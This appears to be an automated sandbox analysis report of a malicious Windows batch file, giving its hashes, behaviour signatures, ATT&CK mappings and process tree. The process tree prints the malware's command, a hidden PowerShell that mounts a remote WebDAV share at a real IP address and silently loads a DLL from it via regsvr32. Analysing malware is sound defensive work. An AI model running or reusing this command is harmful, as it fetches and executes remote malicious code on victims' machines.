3bf6831506816faab0823b3362a83a948f99bdcb12000adf54c041759c45b6a9

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
20-07-2024 16:38

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General

Target

15068254962244423304.bat
Size

18KB
MD5

c51252337d72b2e1433d315e0df5f4d3
SHA1

f019146a5debdd277d1d3024efa3f348eb31e789
SHA256

3bf6831506816faab0823b3362a83a948f99bdcb12000adf54c041759c45b6a9
SHA512

77d613feff96235b0d1867042ba4b0f6eaf60400d8509bfc634157e5ed6bc3e4bf562dd8057552582f7a6158adfb5dfe24994bd83fa6cae2a5b08bb12f12fc8a
SSDEEP

384:aq5/JIbXSLgPpW/NsjlT6IvjvmVeVNwfeo0BlkLhBR9cNdJ1l2jQ5E170a:awyieVBTDrvmMSfeHBNdY8e

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2728	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2728	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2728	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2364	wordpad.exe
2364	wordpad.exe
2364	wordpad.exe
2364	wordpad.exe
2364	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2128 wrote to memory of 2364	2128	cmd.exe	31
PID 2128 wrote to memory of 2364	2128	cmd.exe	31
PID 2128 wrote to memory of 2364	2128	cmd.exe	31
PID 2128 wrote to memory of 2728	2128	cmd.exe	32
PID 2128 wrote to memory of 2728	2128	cmd.exe	32
PID 2128 wrote to memory of 2728	2128	cmd.exe	32
PID 2728 wrote to memory of 2760	2728	powershell.exe	34
PID 2728 wrote to memory of 2760	2728	powershell.exe	34
PID 2728 wrote to memory of 2760	2728	powershell.exe	34
PID 2728 wrote to memory of 856	2728	powershell.exe	35
PID 2728 wrote to memory of 856	2728	powershell.exe	35
PID 2728 wrote to memory of 856	2728	powershell.exe	35
PID 2728 wrote to memory of 856	2728	powershell.exe	35
PID 2728 wrote to memory of 856	2728	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\15068254962244423304.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2128
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2603196354304.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2760
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2603196354304.dll
    3⤵
    PID:856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2728-23-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2728-24-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download